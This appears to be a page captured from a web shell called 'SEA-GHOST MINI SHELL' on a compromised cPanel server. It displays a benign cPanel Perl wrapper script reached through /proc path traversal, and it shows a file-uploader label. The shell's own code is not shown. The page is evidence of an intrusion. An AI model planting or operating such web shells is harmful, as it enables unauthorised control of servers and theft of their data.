[ SEA-GHOST MINI SHELL]

Path : /proc/2/task/2/cwd/proc/2/cwd/proc/self/root/scripts/cpan_sandbox/x86_64/
FILE UPLOADER :
Current File : //proc/2/task/2/cwd/proc/2/cwd/proc/self/root/scripts/cpan_sandbox/x86_64/perl

#!/usr/local/cpanel/3rdparty/bin/perl

$ENV{'LANG'} = 'C';

foreach my $path ( grep( !/cpan_sandbox/, split( /:/, $ENV{'PATH'} ) ) ) {
    next if $path =~ m{^/usr/local/cpanel/};
    if ( -x $path . '/' . 'perl' ) {
        if ( grep( /^Makefile\.PL$/, @ARGV ) ) {
            print STDERR "perl-64bit-hack: enabled\n";
            exec( $path . '/' . 'perl', '-I/usr/local/cpanel/scripts/cpan_sandbox', '-MExtUtils::MakeMaker::64BitHack', @ARGV );
        }
        else {
            exec( $path . '/' . 'perl', @ARGV );
        }
    }
}

die "Failed to exec perl: $!";

SEA-GHOST - SHELL CODING BY SEA-GHOST